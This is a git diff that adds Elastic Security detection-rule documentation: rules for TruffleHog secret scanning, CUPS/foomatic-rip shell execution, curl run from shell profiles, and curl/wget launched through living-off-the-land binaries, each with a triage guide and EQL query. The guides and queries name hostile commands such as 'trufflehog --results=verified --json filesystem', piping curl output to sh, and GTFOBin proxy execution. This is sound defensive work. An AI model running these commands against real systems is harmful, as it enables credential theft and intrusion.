"?:\\Windows\\Cluster\\clussvc.exe", + "?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe", + "?:\\Windows\\Lenovo\\ImController\\PluginHost86\\Lenovo.Modern.ImController.PluginHost.Device.exe", + "?:\\Windows\\Lenovo\\ImController\\Service\\Lenovo.Modern.ImController.exe", + "?:\\Windows\\Sysmon.exe", + "?:\\Windows\\Sysmon64.exe", + "?:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\UUS\\amd64\\WaaSMedicAgent.exe", + "?:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + "?:\\Windows\\WinSxS\\*.exe" + ) and + not + ( + process.executable : ( + "?:\\Windows\\System32\\*.exe", + "?:\\Windows\\SysWOW64\\*.exe" + ) and + not process.name : ( + "rundll32.exe", "mshta.exe", "powershell.exe", "pwsh.exe", "cmd.exe", "expand.exe", + "regsvr32.exe", "cscript.exe", "wscript.exe", "wmiprvse.exe", "certutil.exe", "xcopy.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Install Root Certificate +** ID: T1553.004 +** Reference URL: https://attack.mitre.org/techniques/T1553/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-credential-access-via-trufflehog-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-credential-access-via-trufflehog-execution.asciidoc new file mode 100644 index 0000000000..891a397318 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-credential-access-via-trufflehog-execution.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-credential-access-via-trufflehog-execution]] +=== Credential Access via TruffleHog Execution + +This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Credential Access via TruffleHog Execution* + + +This rule flags TruffleHog executed to scan the local filesystem with verified JSON results, a direct path to harvesting secrets from source code, configs, and build artifacts. Attackers gain shell access on a developer workstation or CI runner, clone or point to internal repositories, run 'trufflehog --results=verified --json filesystem .' to enumerate valid tokens, and then pivot using the recovered keys to pull private code or authenticate to cloud and CI/CD systems. + + +*Possible investigation steps* + + +- Review binary path, code signature/hash, parent process chain, initiating user, and host role (developer workstation vs CI runner) to quickly decide if the execution matches an approved secret-scanning job or an ad‑hoc run. +- Determine the working directory and target path used by the scan to identify which repositories or configuration directories were inspected and whether sensitive files (e.g., .env, deployment keys, build secrets) were in scope. +- Pivot to same-session activity to spot credential use or exfiltration by correlating subsequent outbound connections to git remotes or cloud/CI APIs and launches of developer CLIs like git, gh, aws, az, gcloud, docker, kubectl, or vault. +- Look for output artifacts and exfil channels by checking for creation or deletion of JSON reports or archives, clipboard access, or piping of results to curl/wget/netcat and whether those artifacts were emailed or uploaded externally. +- Cross-check VCS and CI/CD audit logs for this identity and host for unusual pushes, pipeline changes, or new tokens issued shortly after the scan, which may indicate worm-like propagation or credential abuse. + + +*False positive analysis* + + +- An approved secret-scanning task by a developer or security engineer runs trufflehog with --results=verified --json filesystem to audit local code and configuration, producing benign activity on a development host. +- An internal automation or scheduled job invokes trufflehog to baseline filesystem secrets for compliance or hygiene checks, leading to expected process-start logs without credential abuse. + + +*Response and remediation* + + +- Immediately isolate the host or CI runner, terminate the trufflehog process and its parent shell/script, and block egress to git remotes and cloud APIs from that asset. +- Collect the verified findings from trufflehog output (stdout or JSON file), revoke and rotate any listed secrets (GitHub personal access tokens, AWS access keys, Azure service principal credentials, CI job tokens), and clear credential caches on the host. +- Remove unauthorized trufflehog binaries/packages, helper scripts, and scheduled tasks; delete report files and scanned working directories (local repo clones, .env/config folders), and purge shell history containing exfil commands like curl/wget/netcat. +- Restore the workstation or runner from a known-good image if tampering is suspected, re-enroll endpoint protection, reissue required developer or CI credentials with least privilege, and validate normal pulls to internal git and cloud services. +- Escalate to full incident response if trufflehog ran under a service account, on a build server/CI runner, or if any discovered secret was used to authenticate to external git remotes (e.g., github.com), cloud APIs, or private registries in the same session. +- Harden by blocking unapproved trufflehog execution via application control, moving approved secret scanning to a locked-down pipeline, enforcing short-lived PATs and key rotation, enabling egress filtering from developer hosts/runners, and deploying fleet-wide detections for "trufflehog --results=verified --json filesystem". + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and process.name : ("trufflehog.exe", "trufflehog") and +process.args == "--json" and process.args == "filesystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cupsd-or-foomatic-rip-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cupsd-or-foomatic-rip-shell-execution.asciidoc new file mode 100644 index 0000000000..0e3ca27d98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-cupsd-or-foomatic-rip-shell-execution.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-cupsd-or-foomatic-rip-shell-execution]] +=== Cupsd or Foomatic-rip Shell Execution + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Cupsd or Foomatic-rip Shell Execution* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( + process.command_line like ( + "*/tmp/foomatic-*", "*-sDEVICE=ps2write*", "*printf*", "/bin/sh -e -c cat", "/bin/bash -c cat", + "/bin/bash -e -c cat" + ) or + process.args like "gs*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-execution-via-shell-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-execution-via-shell-profile.asciidoc new file mode 100644 index 0000000000..a5ccadc01b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-execution-via-shell-profile.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-curl-execution-via-shell-profile]] +=== Curl Execution via Shell Profile + +Detects when curl is executed via a shell profile upon login. This indicates a curl command was added to the user's shell profile (like .zshrc or .bashrc) and is executed automatically at login, which could be used for persistence and payload delivery. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl Execution via Shell Profile* + + +Shell profile scripts (.zshrc, .bashrc, .bash_profile, .zprofile) execute automatically when users open new terminal sessions, making them valuable persistence mechanisms. Threat actors inject curl commands into these profiles to download and execute additional payloads each time the user opens a terminal, creating a reliable beacon mechanism that persists across system reboots. This detection rule identifies curl execution with download flags that originates directly from shell profile execution at login. + + +*Possible investigation steps* + + +- Review the shell profile files (.zshrc, .bashrc, .bash_profile, .zprofile) for the affected user to identify the injected curl command and its destination URL. +- Analyze the process.args to determine the full curl command including output destination (-o, --output) and any other flags used. +- Investigate the destination URL in threat intelligence databases to determine if it is associated with known malicious infrastructure. +- Review the file modification timestamps of the shell profile files to determine when the malicious entry was added. +- Check browser history, email attachments, and download logs to understand how the attacker initially gained access to modify the profile. +- Examine the user.name associated with the modified profile to assess the scope of potential data access. +- Search for downloaded files on the system that may have been retrieved by the curl command and analyze their contents. + + +*False positive analysis* + + +- Developers may add curl commands to shell profiles for convenience, such as fetching daily updates or checking API endpoints. Verify the URL destination and purpose with the user. +- Some shell customization frameworks and plugins use curl to update themselves on shell startup. Review common frameworks like Oh My Zsh for expected behavior. +- Enterprise tools may configure shell profiles for authentication or environment setup. Confirm with IT operations if such configurations are expected. +- Elastic infrastructure URLs are already excluded in the query to reduce noise from legitimate Elastic tooling. + + +*Response and remediation* + + +- Remove the malicious curl command from the affected shell profile file immediately. +- Block the destination URL at the network perimeter to prevent payload delivery. +- Search for any files that were downloaded by the curl command and quarantine or remove them. +- Review user credentials and tokens that may have been exposed, as shell sessions often contain sensitive environment variables. +- Investigate how the shell profile was modified to identify the initial access vector. +- Check other user accounts on the system for similar shell profile modifications. +- Reset the user's shell profile from a known-good backup or template if available. +- Monitor for curl execution from shell profiles across the environment to identify additional compromised systems. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=10s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("bash", "zsh", "sh") and + process.args in ("-zsh", "-sh", "-bash") and process.args_count == 1 and + process.parent.name == "login"] by process.entity_id + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.args in ("-o", "--output", "--download", "-dl", "-dir", "--directory", "-F", "--form") and + not process.args like ("https://upload.elastic.co*", "https://vault-ci-prod.elastic.dev", "https://artifacts.elastic.co*")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-egress-network-connection-via-lolbin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-egress-network-connection-via-lolbin.asciidoc new file mode 100644 index 0000000000..832bfcbaeb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-curl-or-wget-egress-network-connection-via-lolbin.asciidoc @@ -0,0 +1,222 @@ +[[prebuilt-rule-8-19-20-curl-or-wget-egress-network-connection-via-lolbin]] +=== Curl or Wget Egress Network Connection via LoLBin + +This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://gtfobins.github.io/#+shell + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Exfiltration +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Curl or Wget Egress Network Connection via LoLBin* + + +This detects outbound connections from curl or wget when they are launched via living-off-the-land binaries that can execute shell commands, signaling proxy execution to mask activity. It matters because attackers abuse trusted utilities to fetch payloads, stage command-and-control, or exfiltrate while evading simple controls. Example: an attacker uses awk or busybox to run curl to an external host, downloads a script into /tmp, pipes it to sh, or saves a binary and runs it under the proxy’s context. + + +*Possible investigation steps* + + +- Pull the full process tree around the event and review the parent LoLBin’s command line for signs of proxy execution such as pipelines to a shell, write-to-file flags (-o/-O), exfil options (--data/--upload-file), or TLS bypass (-k), noting working directory and effective user for context. +- Identify any paths or filenames used by the transfer and inspect the filesystem for newly created or modified artifacts in temp locations, recording hashes, timestamps, permission changes (e.g., chmod +x), and any immediate execution or persistence actions. +- Correlate the outbound destination with threat intelligence and internal allowlists, examine DNS/SNI/certificate details, and flag unusual ports or use of proxies/TOR that suggest evasion. +- Validate whether the parent LoLBin and its execution path align with legitimate software or maintenance workflows on the host, and broaden the search for similar executions across hosts within the same timeframe. +- Hunt for follow-on activity including new listeners, reverse shells, additional outbound beacons, or other GTFOBins invoking curl/wget, and tie findings back to the same domains/IPs or dropped filesystem artifacts. + + +*False positive analysis* + + +- During legitimate dependency installation or build workflows, pip/npm/gem/bundler/yarn may run post-install hooks that invoke curl/wget to fetch supplemental files from public mirrors, with the package manager as the parent process. +- Operations or maintenance tasks may use watch/busybox/run-parts/awk to proxy execution of curl/wget for external availability checks or bootstrap downloads in init scripts, producing short-lived egress that matches the LoLBin-parent pattern. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host or apply an outbound block, terminate active curl/wget and their invoking LoLBins (e.g., awk, busybox, run-parts), and add temporary firewall/DNS rules to deny the contacted domain/IP and port. +- Enumerate and delete files fetched via curl/wget (-o/-O) in /tmp, /var/tmp, /dev/shm, and user home (including scripts piped to sh), remove any persistence added (new cron entries, systemd units, rc.local edits), and record hashes/paths for evidence. +- Rotate credentials or tokens exposed via -u/--header or ~/.netrc, purge malicious proxy settings and config files (http_proxy/https_proxy environment, ~/.wgetrc, ~/.curlrc), and revoke SSH keys or cookies discovered alongside the downloads. +- Restore the system by reimaging or reinstalling if tampering is suspected, re-enable egress only after validation, verify application functionality, and re-enroll the endpoint with EDR while limiting curl/wget usage to approved service accounts. +- Escalate to incident response if curl/wget is piped to a shell (e.g., curl https://... | sh), a downloaded binary is made executable and run (chmod +x followed by execution), the destination matches known malicious infrastructure, or torify/torsocks/proxy chaining is used. +- Harden by mounting /tmp, /var/tmp, and /dev/shm with noexec/nosuid/nodev, enforcing AppArmor/SELinux to restrict curl/wget network access and file writes, constraining GTFOBins from spawning shells, and requiring egress via a proxy allowlist with TLS validation (disallow --insecure/-k). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ( + "aa-exec", "aoss", "awk", "run-parts", "bundle", "bundler", "busctl", "busybox", "byebug", "c89", "c99", "cabal", + "capsh", "cdist", "certbot", "check_by_ssh", "choom", "cobc", "cowsay", "cowthink", "cpio", "cpulimit", "csvtool", + "dc", "distcc", "easy_install", "emacs", "enscript", "expect", "find", "flock", "gawk", "gcc", "gdb", "gem", + "genie", "ghc", "ghci", "gimp", "grc", "gtester", "ionice", "irb", "jjs", "jrunscript", "knife", "latex", + "latexmk", "lftp", "logsave", "ltrace", "mail", "mawk", "msgfilter", "multitime", "mysql", "nawk", "neofetch", + "nice", "nohup", "npm", "nroff", "nsenter", "octave", "openvpn", "pandoc", "pdb", "pdflatex", "pdftex", "perf", + "pexec", "pip", "rake", "rc", "rlwrap", "rpmdb", "rpmquery", "rpmverify", "rsync", "rtorrent", "runscript", + "rview", "rvim", "script", "scrot", "sed", "service", "setarch", "setlock", "sg", "socat", "softlimit", "split", + "sqlite3", "sqlmap", "sshpass", "start-stop-daemon", "stdbuf", "tar", "taskset", + "tasksh", "tex", "time", "tmate", "torify", "torsocks", "tshark", "valgrind", "vi", "view", + "vim", "vimdiff", "watch", "xdg-user-dir", "xdotool", "xelatex", "xetex", "yarn", "zip", "zypper" + ) and not ( + process.executable == "/tmp/newroot/unshare" or + process.parent.args in ( + "/etc/.agent/server_agent.sh", "/nessus/update2.sh", "/etc/cron.daily/spamassassin", "/etc/cron.daily/rkhunter", + "buildkit-runc", "/usr/sbin/spamassassin-maint" + ) or + process.parent.executable like ( + "/usr/local/bin/fail2ban_cluster.sh", "/script/downloadArtifacts.sh", "/etc/cron.daily/rkhunter", + "/usr/bin/bbb-conf", "/usr/sbin/sos", "/usr/bin/make", "/var/lib/amagent/*", "/etc/cron.daily/spamassassin", + "/usr/lib/cron/run-crons", "/usr/sbin/spamassassin-maint", "/usr/sbin/oracle-libs-update" + ) or + process.parent.name in ("rkhunter", "vivaldi-stable.postinst", "runc") or + process.parent.command_line == "runc init" or + process.parent.command_line like "/home/*/bin/DownloadExchangeFiles_mcx*" or + process.command_line in ( + "nice -10 /opt/aws/discovery/update", "xargs -n 1 curl -o lpsc -L", "/usr/bin/ruby /usr/bin/rake run:server_hooks", + "nohup ./update2.sh" + ) or + process.parent.command_line in ("/bin/sh -c nice -n 15 $HOME/bin/cron.pl > /dev/null 2>&1", "/bin/sh /etc/cron.daily/rkhunter") or + process.command_line like ("*/home/linuxbrew/.linuxbrew/*", "*Homebrew*", "*webhook*") or + process.args like ("/usr/lib/jvm/*", "/root/.forge/provision-*.sh", "/usr/src/ucrm/scripts/update-certificates.sh", "/etc/periodic/weekly/update_mmdb.sh") or + (process.name == "nohup" and process.command_line like "nohup /usr/*/*.sh") or + (process.name == "julia" and process.parent.name == "julia") + ) + ] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and + process.name in ("wget", "curl") and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: 